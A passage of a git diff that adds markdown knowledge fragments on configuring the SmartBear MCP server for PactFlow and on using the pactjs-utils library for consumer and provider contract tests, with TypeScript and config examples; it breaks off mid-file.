+| 3   | **Review Pact Tests**     | Analyze tests against contract testing best practices                   | test-review           |
+| 4   | **Can I Deploy**          | Check deployment safety via broker verification matrix                  | ci workflow           |
+| 5   | **Matrix**                | Query consumer-provider verification matrix                             | ci, test-design       |
+| 6   | **PactFlow AI Status**    | Check AI credits and permissions (PactFlow Cloud only)                  | diagnostics           |
+| 7   | **Metrics - All**         | Workspace-wide contract testing metrics                                 | reporting             |
+| 8   | **Metrics - Team**        | Team-level adoption statistics (PactFlow Cloud only)                    | reporting             |
+
+## Installation
+
+### Config file locations
+
+| Tool              | Global Config File                    | Format                 |
+| ----------------- | ------------------------------------- | ---------------------- |
+| Claude Code       | `~/.claude.json`                      | JSON (`mcpServers`)    |
+| Codex             | `~/.codex/config.toml`                | TOML (`[mcp_servers]`) |
+| Gemini CLI        | `~/.gemini/settings.json`             | JSON (`mcpServers`)    |
+| Cursor            | `~/.cursor/mcp.json`                  | JSON (`mcpServers`)    |
+| Windsurf          | `~/.codeium/windsurf/mcp_config.json` | JSON (`mcpServers`)    |
+| VS Code (Copilot) | `.vscode/mcp.json`                    | JSON (`servers`)       |
+
+> **Claude Code tip**: Prefer the `claude mcp add` CLI over manual JSON editing. Use `-s user` for global (all projects) or omit for per-project (default).
+
+### CLI shortcuts (Claude Code and Codex)
+
+```bash
+# Claude Code — use add-json for servers with env vars (-s user = global)
+claude mcp add-json -s user smartbear \
+  '{"type":"stdio","command":"npx","args":["-y","@smartbear/mcp@latest"],"env":{"PACT_BROKER_BASE_URL":"https://{tenant}.pactflow.io","PACT_BROKER_TOKEN":"<your-token>"}}'
+
+# Codex
+codex mcp add smartbear -- npx -y @smartbear/mcp@latest
+```
+
+### JSON config (Gemini CLI, Cursor, Windsurf)
+
+Add a `"smartbear"` entry to the `mcpServers` object in the config file for your tool:
+
+```json
+{
+  "mcpServers": {
+    "smartbear": {
+      "type": "stdio",
+      "command": "npx",
+      "args": ["-y", "@smartbear/mcp@latest"],
+      "env": {
+        "PACT_BROKER_BASE_URL": "https://{tenant}.pactflow.io",
+        "PACT_BROKER_TOKEN": "<your-api-token>"
+      }
+    }
+  }
+}
+```
+
+### Codex TOML config
+
+Codex uses TOML instead of JSON. Add to `~/.codex/config.toml`:
+
+```toml
+[mcp_servers.smartbear]
+command = "npx"
+args = ["-y", "@smartbear/mcp@latest"]
+
+[mcp_servers.smartbear.env]
+PACT_BROKER_BASE_URL = "https://{tenant}.pactflow.io"
+PACT_BROKER_TOKEN = "<your-api-token>"
+```
+
+Note the key is `mcp_servers` (underscored), not `mcpServers`.
+
+### VS Code (GitHub Copilot)
+
+Add to `.vscode/mcp.json` (note: uses `servers` key, not `mcpServers`):
+
+```json
+{
+  "servers": {
+    "smartbear": {
+      "type": "stdio",
+      "command": "npx",
+      "args": ["-y", "@smartbear/mcp@latest"],
+      "env": {
+        "PACT_BROKER_BASE_URL": "https://{tenant}.pactflow.io",
+        "PACT_BROKER_TOKEN": "${input:pactToken}"
+      }
+    }
+  }
+}
+```
+
+> **Note**: Set either `PACT_BROKER_TOKEN` (for PactFlow) or `PACT_BROKER_USERNAME`+`PACT_BROKER_PASSWORD` (for self-hosted). Leave unused vars empty.
+
+## Required Environment Variables
+
+| Variable               | Required                     | Description                             |
+| ---------------------- | ---------------------------- | --------------------------------------- |
+| `PACT_BROKER_BASE_URL` | Yes (for Pact features)      | PactFlow or self-hosted Pact Broker URL |
+| `PACT_BROKER_TOKEN`    | For PactFlow / token auth    | API token for broker authentication     |
+| `PACT_BROKER_USERNAME` | For basic auth (self-hosted) | Username for basic authentication       |
+| `PACT_BROKER_PASSWORD` | For basic auth (self-hosted) | Password for basic authentication       |
+
+**Authentication**: Use token auth (`PACT_BROKER_TOKEN`) for PactFlow. Use basic auth (`PACT_BROKER_USERNAME` + `PACT_BROKER_PASSWORD`) for self-hosted Pact Broker instances. Only one auth method is needed.
+
+**Requirements**: Node.js 20+
+
+## Pattern Examples
+
+### Example 1: Fetching Provider States During Test Design
+
+When designing contract tests, use MCP to query existing provider states:
+
+```
+# Agent queries SmartBear MCP during test-design workflow:
+# → Fetch Provider States for consumer="movie-web", provider="SampleMoviesAPI"
+# ← Returns: ["movie with id 1 exists", "no movies exist", "user is authenticated"]
+#
+# Agent uses this to generate comprehensive consumer tests covering all states
+```
+
+### Example 2: Reviewing Pact Tests
+
+During test-review workflow, use MCP to evaluate test quality:
+
+```
+# Agent submits test file to SmartBear MCP Review tool:
+# → Review Pact Tests with test file content
+# ← Returns: feedback on matcher usage, state coverage, interaction naming
+#
+# Agent incorporates feedback into review report
+```
+
+### Example 3: Can I Deploy Check in CI
+
+During CI workflow design, reference the can-i-deploy tool:
+
+```
+# Agent generates CI pipeline with can-i-deploy gate:
+# → Can I Deploy: pacticipant="SampleMoviesAPI", version="${GITHUB_SHA}", to="production"
+# ← Returns: { ok: true/false, reason: "..." }
+#
+# Agent designs pipeline to block deployment if can-i-deploy fails
+```
+
+## Key Points
+
+- **Per-project install recommended**: Different projects may target different PactFlow tenants — match TEA's per-project config philosophy
+- **Env vars are project-specific**: `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` vary by project/team
+- **Node.js 20+ required**: SmartBear MCP server requires Node.js 20 or higher
+- **PactFlow Cloud features**: Some tools (AI Status, Team Metrics) are only available with PactFlow Cloud, not self-hosted Pact Broker
+- **Complements pactjs-utils**: MCP provides broker interaction during design/review; pactjs-utils provides runtime utilities for test code
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — runtime utilities that pact tests import
+- `pactjs-utils-provider-verifier.md` — verifier options that reference broker config
+- `contract-testing.md` — foundational contract testing patterns
+
+## Anti-Patterns
+
+### Wrong: Using MCP for runtime test execution
+
+```
+# ❌ Don't use MCP to run pact tests — use npm scripts and CI pipelines
+# MCP is for agent-assisted design, generation, and review
+```
+
+### Right: Use MCP for design-time assistance
+
+```
+# ✅ Use MCP during planning and review:
+# - Fetch provider states to inform test design
+# - Generate test scaffolds from existing contracts
+# - Review tests for best practice compliance
+# - Check can-i-deploy during CI pipeline design
+```
+
+_Source: SmartBear MCP documentation, PactFlow developer docs_
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pactjs-utils-consumer-helpers.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pactjs-utils-consumer-helpers.md
new file mode 100644
index 0000000..b0a1f19
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pactjs-utils-consumer-helpers.md
@@ -0,0 +1,270 @@
+# Pact.js Utils Consumer Helpers
+
+## Principle
+
+Use `createProviderState`, `toJsonMap`, `setJsonContent`, and `setJsonBody` from `@seontechnologies/pactjs-utils` to build type-safe provider state tuples and reusable PactV4 JSON callbacks for consumer contract tests. These helpers eliminate manual `JsonMap` casting and repetitive inline builder lambdas.
+
+## Rationale
+
+### Problems with raw consumer helper handling
+
+- **JsonMap requirement**: Pact's `.given(stateName, params)` requires `params` to be `JsonMap` — a flat object where every value must be `string | number | boolean | null`
+- **Type gymnastics**: Complex params (Date objects, nested objects, null values) require manual casting that TypeScript can't verify
+- **Inconsistent serialization**: Different developers serialize the same data differently (e.g., dates as ISO strings vs timestamps)
+- **Verbose `.given()` calls**: Repeating state name and params inline makes consumer tests harder to read
+- **Repeated interaction callbacks**: PactV4 interactions duplicate inline `(builder) => { ... }` blocks for body/query/header setup
+
+### Solutions
+
+- **`createProviderState`**: Returns a `[string, JsonMap]` tuple that spreads directly into `.given()` — one function handles name and params
+- **`toJsonMap`**: Explicit coercion rules documented and tested — Date→ISO string, null→"null" string, nested objects→JSON string
+- **`setJsonContent`**: Curried callback helper for request/response builders — set `query`, `headers`, and/or `body` from one reusable function
+- **`setJsonBody`**: Body-only shorthand for `setJsonContent({ body })` — ideal for concise `.willRespondWith(...)` bodies
+
+## Pattern Examples
+
+### Example 1: Basic Provider State Creation
+
+```typescript
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+const provider = new PactV3({
+  consumer: 'movie-web',
+  provider: 'SampleMoviesAPI',
+  dir: './pacts',
+});
+
+describe('Movie API Contract', () => {
+  it('should return movie by id', async () => {
+    // createProviderState returns [stateName, JsonMap] tuple
+    const providerState = createProviderState({
+      name: 'movie with id 1 exists',
+      params: { id: 1, name: 'Inception', year: 2010 },
+    });
+
+    await provider
+      .given(...providerState) // Spread tuple into .given(name, params)
+      .uponReceiving('a request for movie 1')
+      .withRequest({ method: 'GET', path: '/movies/1' })
+      .willRespondWith({
+        status: 200,
+        body: MatchersV3.like({ id: 1, name: 'Inception', year: 2010 }),
+      })
+      .executeTest(async (mockServer) => {
+        const res = await fetch(`${mockServer.url}/movies/1`);
+        const movie = await res.json();
+        expect(movie.name).toBe('Inception');
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- `createProviderState` accepts `{ name: string, params: Record<string, unknown> }`
+- Both `name` and `params` are required (pass `params: {}` for states without parameters)
+- Returns `[string, JsonMap]` — spread with `...` into `.given()`
+- `params` values are automatically converted to JsonMap-compatible types
+- Works identically with HTTP (`PactV3`) and message (`MessageConsumerPact`) pacts
+
+### Example 2: Complex Parameters with toJsonMap
+
+```typescript
+import { toJsonMap } from '@seontechnologies/pactjs-utils';
+
+// toJsonMap conversion rules:
+// - string, number, boolean → passed through
+// - null → "null" (string)
+// - undefined → "null" (string, same as null)
+// - Date → ISO string (e.g., "2025-01-15T10:00:00.000Z")
+// - nested object → JSON string
+// - array → comma-separated string via String() (e.g., [1,2,3] → "1,2,3")
+
+const params = toJsonMap({
+  id: 42,
+  name: 'John Doe',
+  active: true,
+  score: null,
+  createdAt: new Date('2025-01-15T10:00:00Z'),
+  metadata: { role: 'admin', permissions: ['read', 'write'] },
+});
+
+// Result:
+// {
+//   id: 42,
+//   name: "John Doe",
+//   active: true,
+//   score: "null",
+//   createdAt: "2025-01-15T10:00:00.000Z",
+//   metadata: '{"role":"admin","permissions":["read","write"]}'
+// }
+```
+
+**Key Points**:
+
+- `toJsonMap` is called internally by `createProviderState` — you rarely need it directly
+- Use it when you need explicit control over parameter conversion outside of provider states
+- Conversion rules are deterministic: same input always produces same output
+
+### Example 3: Provider State Without Parameters
+
+```typescript
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+// State without params — second tuple element is empty object
+const emptyState = createProviderState({ name: 'no movies exist', params: {} });
+// Returns: ['no movies exist', {}]
+
+await provider
+  .given(...emptyState)
+  .uponReceiving('a request when no movies exist')
+  .withRequest({ method: 'GET', path: '/movies' })
+  .willRespondWith({ status: 200, body: [] })
+  .executeTest(async (mockServer) => {
+    const res = await fetch(`${mockServer.url}/movies`);
+    const movies = await res.json();
+    expect(movies).toEqual([]);
+  });
+```
+
+### Example 4: Multiple Provider States
+
+```typescript
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+// Some interactions require multiple provider states
+// Call .given() multiple times with different states
+await provider
+  .given(...createProviderState({ name: 'user is authenticated', params: { userId: 1 } }))
+  .given(...createProviderState({ name: 'movie with id 5 exists', params: { id: 5 } }))
+  .uponReceiving('an authenticated request for movie 5')
+  .withRequest({
+    method: 'GET',
+    path: '/movies/5',
+    headers: { Authorization: MatchersV3.like('Bearer token') },
+  })
+  .willRespondWith({ status: 200, body: MatchersV3.like({ id: 5 }) })
+  .executeTest(async (mockServer) => {
+    // test implementation
+  });
+```
+
+### Example 5: When to Use setJsonBody vs setJsonContent
+
+```typescript
+import { MatchersV3 } from '@pact-foundation/pact';
+import { setJsonBody, setJsonContent } from '@seontechnologies/pactjs-utils';
+
+const { integer, string } = MatchersV3;
+
+await pact
+  .addInteraction()
+  .given('movie exists')
+  .uponReceiving('a request to get movie by name')
+  .withRequest(
+    'GET',
+    '/movies',
+    setJsonContent({
+      query: { name: 'Inception' },
+      headers: { Accept: 'application/json' },
+    }),
+  )
+  .willRespondWith(
+    200,
+    setJsonBody({
+      status: 200,
+      data: { id: integer(1), name: string('Inception') },
+    }),
+  );
+```
+
+**Key Points**:
+
+- Use `setJsonContent` when the interaction needs `query`, `headers`, and/or `body` in one callback (most request builders)
+- Use `setJsonBody` when you only need `jsonBody` and want the shorter `.willRespondWith(status, setJsonBody(...))` form
+- `setJsonBody` is equivalent to `setJsonContent({ body: ... })`
+
+## Key Points
+
+- **Spread pattern**: Always use `...createProviderState()` — the tuple spreads into `.given(stateName, params)`
+- **Type safety**: TypeScript enforces `{ name: string, params: Record<string, unknown> }` input (both fields required)
+- **Null handling**: `null` becomes `"null"` string in JsonMap (Pact requirement)
+- **Date handling**: Date objects become ISO 8601 strings
+- **No nested objects in JsonMap**: Nested objects are JSON-stringified — provider state handlers must parse them
+- **Array serialization is lossy**: Arrays are converted via `String()` (e.g., `[1,2,3]` → `"1,2,3"`) — prefer passing arrays as JSON-stringified objects for round-trip safety
+- **Message pacts**: Works identically with `MessageConsumerPact` — same `.given()` API
+- **Builder reuse**: `setJsonContent` works for both `.withRequest(...)` and `.willRespondWith(...)` callbacks (query is ignored on response builders)
+- **Body shorthand**: `setJsonBody` keeps body-only responses concise and readable
+- **Matchers check type, not value**: `string('My movie')` means "any string", `integer(1)` means "any integer". The example values are arbitrary — the provider can return different values and verification still passes as long as the type matches. Use matchers only in `.willRespondWith()` (responses), never in `.withRequest()` (requests) — Postel's Law applies.
+- **Reuse test values across files**: Interactions are uniquely identified by `uponReceiving` + `.given()`, not by placeholder values. Two test files can both use `testId: 100` without conflicting. On the provider side, shared values simplify state handlers — idempotent handlers (check if exists, create if not) only need to ensure one record exists. Use different values only when testing different states of the same entity type (e.g., `movieExists(100)` for happy paths vs. `movieNotFound(999)` for error paths).
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, decision tree, design philosophy
+- `pactjs-utils-provider-verifier.md` — provider-side state handler implementation
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual JsonMap assembly
+
+```typescript
+// ❌ Manual casting — verbose, error-prone, no type safety
+provider.given('user exists', {
+  id: 1 as unknown as string,
+  createdAt: new Date().toISOString(),
+  metadata: JSON.stringify({ role: 'admin' }),
+} as JsonMap);
+```
+
+### Right: Use createProviderState
+
+```typescript
+// ✅ Automatic conversion with type safety
+provider.given(
+  ...createProviderState({
+    name: 'user exists',
+    params: { id: 1, createdAt: new Date(), metadata: { role: 'admin' } },
+  }),
+);
+```
+
+### Wrong: Inline state names without helper
+
+```typescript
+// ❌ Duplicated state names between consumer and provider — easy to mismatch
+provider.given('a user with id 1 exists', { id: '1' });
+// Later in provider: 'user with id 1 exists' — different string!
+```
+
+### Right: Share state constants
+
+```typescript
+// ✅ Define state names as constants shared between consumer and provider
+const STATES = {
+  USER_EXISTS: 'user with id exists',
+  NO_USERS: 'no users exist',
+} as const;
+
+provider.given(...createProviderState({ name: STATES.USER_EXISTS, params: { id: 1 } }));
+```
+
+### Wrong: Repeating inline builder lambdas everywhere
+
+```typescript
+// ❌ Repetitive callback boilerplate in every interaction
+.willRespondWith(200, (builder) => {
+  builder.jsonBody({ status: 200 });
+});
+```
+
+### Right: Use setJsonBody / setJsonContent
+
+```typescript
+// ✅ Reusable callbacks with less boilerplate
+.withRequest('GET', '/movies', setJsonContent({ query: { name: 'Inception' } }))
+.willRespondWith(200, setJsonBody({ status: 200 }));
+```
+
+_Source: @seontechnologies/pactjs-utils consumer-helpers module, pactjs-utils sample-app consumer tests_
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pactjs-utils-overview.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pactjs-utils-overview.md
new file mode 100644
index 0000000..cb330ef
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pactjs-utils-overview.md
@@ -0,0 +1,216 @@
+# Pact.js Utils Overview
+
+## Principle
+
+Use production-ready utilities from `@seontechnologies/pactjs-utils` to eliminate boilerplate in consumer-driven contract testing. The library wraps `@pact-foundation/pact` with type-safe helpers for provider state creation, PactV4 JSON interaction builders, verifier configuration, and request filter injection — working equally well for HTTP and message (async/Kafka) contracts.
+
+## Rationale
+
+### Problems with raw @pact-foundation/pact
+
+- **JsonMap casting**: Provider state parameters require `JsonMap` type — manually casting every value is error-prone and verbose
+- **Repeated builder lambdas**: PactV4 interactions often repeat inline callbacks with `builder.query(...)`, `builder.headers(...)`, and `builder.jsonBody(...)`
+- **Verifier configuration sprawl**: `VerifierOptions` requires 30+ lines of scattered configuration (broker URL, selectors, state handlers, request filters, version tags)
+- **Environment variable juggling**: Different env vars for local vs remote flows, breaking change coordination, payload URL matching
+- **Express middleware types**: Request filter requires Express types that aren't re-exported from Pact
+- **Bearer prefix bugs**: Easy to double-prefix tokens as `Bearer Bearer ...` in request filters
+- **CI version tagging**: Manual logic to extract branch/tag info from CI environment
+
+### Solutions from pactjs-utils
+
+- **`createProviderState`**: One-call tuple builder for `.given()` — handles all JsonMap conversion automatically
+- **`toJsonMap`**: Explicit type coercion (null→"null", Date→ISO string, nested objects flattened)
+- **`setJsonContent`**: Curried callback helper for PactV4 `.withRequest(...)` / `.willRespondWith(...)` builders (query/headers/body)
+- **`setJsonBody`**: Body-only shorthand alias of `setJsonContent({ body })`
+- **`buildVerifierOptions`**: Single function assembles complete VerifierOptions from minimal inputs — handles local/remote/BDCT flows
+- **`buildMessageVerifierOptions`**: Same as above but for message/Kafka provider verification
+- **`handlePactBrokerUrlAndSelectors`**: Resolves broker URL and consumer version selectors from env vars with breaking change awareness
+- **`getProviderVersionTags`**: CI-aware version tagging (extracts branch/tag from GitHub Actions, GitLab CI, etc.)
+- **`createRequestFilter`**: Pluggable token generator pattern — prevents double-Bearer bugs by contract
+- **`noOpRequestFilter`**: Pass-through for providers that don't require auth injection
+
+## Installation
+
+```bash
+npm install -D @seontechnologies/pactjs-utils
+
+# Peer dependency
+npm install -D @pact-foundation/pact
+```
+
+**Requirements**: `@pact-foundation/pact` >= 16.2.0, Node.js >= 18
+
+## Available Utilities
+
+| Category          | Function                          | Description                                          | Use Case                                                         |
+| ----------------- | --------------------------------- | ---------------------------------------------------- | ---------------------------------------------------------------- |
+| Consumer Helpers  | `createProviderState`             | Builds `[stateName, JsonMap]` tuple from typed input | Consumer tests: `.given(...createProviderState(input))`          |
+| Consumer Helpers  | `toJsonMap`                       | Converts any object to Pact-compatible `JsonMap`     | Explicit type coercion for provider state params                 |
+| Consumer Helpers  | `setJsonContent`                  | Curried request/response JSON callback helper        | PactV4 `.withRequest(...)` and `.willRespondWith(...)` builders  |
+| Consumer Helpers  | `setJsonBody`                     | Body-only alias of `setJsonContent`                  | Body-only `.willRespondWith(...)` responses                      |
+| Provider Verifier | `buildVerifierOptions`            | Assembles complete HTTP `VerifierOptions`            | Provider verification: `new Verifier(buildVerifierOptions(...))` |
+| Provider Verifier | `buildMessageVerifierOptions`     | Assembles message `VerifierOptions`                  | Kafka/async provider verification                                |
+| Provider Verifier | `handlePactBrokerUrlAndSelectors` | Resolves broker URL + selectors from env vars        | Env-aware broker configuration                                   |
+| Provider Verifier | `getProviderVersionTags`          | CI-aware version tag extraction                      | Provider version tagging in CI                                   |
+| Request Filter    | `createRequestFilter`             | Express middleware with pluggable token generator    | Auth injection for provider verification                         |
+| Request Filter    | `noOpRequestFilter`               | Pass-through filter (no-op)                          | Providers without auth requirements                              |
+
+## Decision Tree: Which Flow?
+
+```
+Is this a monorepo (consumer + provider in same repo)?
+├── YES → Local Flow
+│   - Consumer generates pact files to ./pacts/
+│   - Provider reads pact files from ./pacts/ (no broker needed)
+│   - Use buildVerifierOptions with pactUrls option
+│
+└── NO → Do you have a Pact Broker / PactFlow?
+    ├── YES → Remote (CDCT) Flow
+    │   - Consumer publishes pacts to broker
+    │   - Provider verifies from broker
+    │   - Use buildVerifierOptions with broker config
+    │   - Set PACT_BROKER_BASE_URL + PACT_BROKER_TOKEN
+    │
+    └── Do you have an OpenAPI spec?
+        ├── YES → BDCT Flow (PactFlow only)
+        │   - Provider publishes OpenAPI spec to PactFlow
+        │   - PactFlow cross-validates consumer pacts against spec
+        │   - No provider verification test needed
+        │
+        └── NO → Start with Local Flow, migrate to Remote later
+```
+
+## Design Philosophy
+
+1. **One-call setup**: Each utility does one thing completely — no multi-step assembly required
+2. **Environment-aware**: Utilities read env vars for CI/CD integration without manual wiring
+3. **Type-safe**: Full TypeScript types for all inputs and outputs, exported for consumer use
+4. **Fail-safe defaults**: Sensible defaults that work locally; env vars override for CI
+5. **Composable**: Utilities work independently — use only what you need
+
+## Pattern Examples
+
+### Example 1: Minimal Consumer Test
+
+```typescript
+import { PactV3 } from '@pact-foundation/pact';
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+const provider = new PactV3({
+  consumer: 'my-frontend',
+  provider: 'my-api',
+  dir: './pacts',
+});
+
+it('should get user by id', async () => {
+  await provider
+    .given(...createProviderState({ name: 'user exists', params: { id: 1 } }))
+    .uponReceiving('a request for user 1')
+    .withRequest({ method: 'GET', path: '/users/1' })
+    .willRespondWith({ status: 200, body: { id: 1, name: 'John' } })
+    .executeTest(async (mockServer) => {
+      const res = await fetch(`${mockServer.url}/users/1`);
+      expect(res.status).toBe(200);
+    });
+});
+```
+
+### Example 2: Minimal Provider Verification
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    'user exists': async (params) => {
+      await db.seed({ users: [{ id: params?.id }] });
+    },
+  },
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => 'test-token-123',
+  }),
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+## Key Points
+
+- **Import path**: Always use `@seontechnologies/pactjs-utils` (no subpath exports)
+- **Peer dependency**: `@pact-foundation/pact` must be installed separately
+- **Local flow**: No broker needed — set `pactUrls` in verifier options pointing to local pact files
+- **Remote flow**: Set `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` env vars
+- **Breaking changes**: Set `includeMainAndDeployed: false` when coordinating breaking changes (verifies only matchingBranch)
+- **Builder helpers**: Use `setJsonContent` when you need query/headers/body together; use `setJsonBody` for body-only callbacks
+- **Type exports**: Library exports `StateHandlers`, `RequestFilter`, `JsonMap`, `JsonContentInput`, `ConsumerVersionSelector` types
+
+## Related Fragments
+
+- `pactjs-utils-consumer-helpers.md` — detailed createProviderState, toJsonMap, setJsonContent, and setJsonBody usage
+- `pactjs-utils-provider-verifier.md` — detailed buildVerifierOptions and broker configuration
+- `pactjs-utils-request-filter.md` — detailed createRequestFilter and auth patterns
+- `contract-testing.md` — foundational contract testing patterns (raw Pact.js approach)
+- `test-levels-framework.md` — where contract tests fit in the testing pyramid
+
+## Anti-Patterns
+
+### Wrong: Manual VerifierOptions assembly when pactjs-utils is available
+
+```typescript
+// ❌ Don't assemble VerifierOptions manually
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+  publishVerificationResult: process.env.CI === 'true',
+  providerVersion: process.env.GIT_SHA || 'dev',
+  consumerVersionSelectors: [{ mainBranch: true }, { deployedOrReleased: true }],
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: (req, res, next) => {
+    /* ... */
+  },
+  // ... 20 more lines
+};
+```
+
+### Right: Use buildVerifierOptions
+
+```typescript
+// ✅ Single call handles all configuration
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({ tokenGenerator: () => 'token' }),
+});
+```
+
+### Wrong: Importing raw Pact types for JsonMap conversion
+
+```typescript
+// ❌ Manual JsonMap casting
+import type { JsonMap } from '@pact-foundation/pact';
+
+provider.given('user exists', { id: 1 as unknown as JsonMap['id'] });
+```
+
+### Right: Use createProviderState
+
+```typescript
+// ✅ Automatic type conversion
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+provider.given(...createProviderState({ name: 'user exists', params: { id: 1 } }));
+```
+
+_Source: @seontechnologies/pactjs-utils library, pactjs-utils README, pact-js-example-provider workflows_
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pactjs-utils-provider-verifier.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pactjs-utils-provider-verifier.md
new file mode 100644
index 0000000..f29989e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pactjs-utils-provider-verifier.md
@@ -0,0 +1,315 @@
+# Pact.js Utils Provider Verifier
+
+## Principle
+
+Use `buildVerifierOptions`, `buildMessageVerifierOptions`, `handlePactBrokerUrlAndSelectors`, and `getProviderVersionTags` from `@seontechnologies/pactjs-utils` to assemble complete provider verification configuration in a single call. These utilities handle local/remote flow detection, broker URL resolution, consumer version selector strategy, and CI-aware version tagging. The caller controls breaking change behavior via the required `includeMainAndDeployed` parameter.
+
+## Rationale
+
+### Problems with manual VerifierOptions
+
+- **30+ lines of scattered config**: Assembling `VerifierOptions` manually requires broker URL, token, selectors, state handlers, request filters, version info, publish flags — all in one object
+- **Environment variable logic**: Different env vars for local vs remote, CI vs local dev, breaking change vs normal flow
+- **Consumer version selector complexity**: Choosing between `mainBranch`, `deployedOrReleased`, `matchingBranch`, and `includeMainAndDeployed` requires understanding Pact Broker semantics
+- **Breaking change coordination**: When a provider intentionally breaks a contract, manual selector switching is error-prone
+- **Cross-execution protection**: `PACT_PAYLOAD_URL` webhook payloads need special handling to verify only the triggering pact
+
+### Solutions
+
+- **`buildVerifierOptions`**: Single function that reads env vars, selects the right flow, and returns complete `VerifierOptions`
+- **`buildMessageVerifierOptions`**: Same as above for message/Kafka provider verification
+- **`handlePactBrokerUrlAndSelectors`**: Pure function for broker URL + selector resolution (used internally, also exported for advanced use)
+- **`getProviderVersionTags`**: Extracts CI branch/tag info from environment for provider version tagging
+
+## Pattern Examples
+
+### Example 1: HTTP Provider Verification (Remote Flow)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+import type { StateHandlers } from '@seontechnologies/pactjs-utils';
+
+const stateHandlers: StateHandlers = {
+  'movie with id 1 exists': {
+    setup: async (params) => {
+      await db.seed({ movies: [{ id: params?.id ?? 1, name: 'Inception' }] });
+    },
+    teardown: async () => {
+      await db.clean('movies');
+    },
+  },
+  'no movies exist': async () => {
+    await db.clean('movies');
+  },
+};
+
+// buildVerifierOptions reads these env vars automatically:
+// - PACT_BROKER_BASE_URL (broker URL)
+// - PACT_BROKER_TOKEN (broker auth)
+// - PACT_PAYLOAD_URL (webhook trigger — cross-execution protection)
+// - PACT_BREAKING_CHANGE (if "true", uses includeMainAndDeployed selectors)
+// - GITHUB_SHA (provider version)
+// - CI (publish verification results if "true")
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers,
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => process.env.TEST_AUTH_TOKEN ?? 'test-token',
+  }),
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+**Key Points**:
+
+- Set `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` as env vars — `buildVerifierOptions` reads them automatically
+- `port` is a string (e.g., `'3001'`) — the function builds `providerBaseUrl: http://localhost:${port}` internally
+- `includeMainAndDeployed` is **required** — set `true` for normal flow, `false` for breaking changes
+- State handlers support both simple functions and `{ setup, teardown }` objects
+- `params` in state handlers correspond to the `JsonMap` from consumer's `createProviderState`
+- Verification results are published by default (`publishVerificationResult` defaults to `true`)
+
+### Example 2: Local Flow (Monorepo, No Broker)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions } from '@seontechnologies/pactjs-utils';
+
+// When PACT_BROKER_BASE_URL is NOT set, buildVerifierOptions
+// falls back to local pact file verification
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  // Specify local pact files directly — skips broker entirely
+  pactUrls: ['./pacts/movie-web-SampleMoviesAPI.json'],
+  stateHandlers: {
+    'movie exists': async (params) => {
+      await db.seed({ movies: [{ id: params?.id }] });
+    },
+  },
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+### Example 3: Message Provider Verification (Kafka/Async)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildMessageVerifierOptions } from '@seontechnologies/pactjs-utils';
+
+const opts = buildMessageVerifierOptions({
+  provider: 'OrderEventsProducer',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  // Message handlers return the message content that the provider would produce
+  messageProviders: {
+    'an order created event': async () => ({
+      orderId: 'order-123',
+      userId: 'user-456',
+      items: [{ productId: 'prod-789', quantity: 2 }],
+      createdAt: new Date().toISOString(),
+    }),
+    'an order cancelled event': async () => ({
+      orderId: 'order-123',
+      reason: 'customer_request',
+      cancelledAt: new Date().toISOString(),
+    }),
+  },
+  stateHandlers: {
+    'order exists': async (params) => {
+      await db.seed({ orders: [{ id: params?.orderId }] });
+    },
+  },
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+**Key Points**:
+
+- `buildMessageVerifierOptions` adds `messageProviders` to the verifier config
+- Each message provider function returns the expected message payload
+- State handlers work the same as HTTP verification
+- Broker integration works identically (same env vars)
+
+### Example 4: Breaking Change Coordination
+
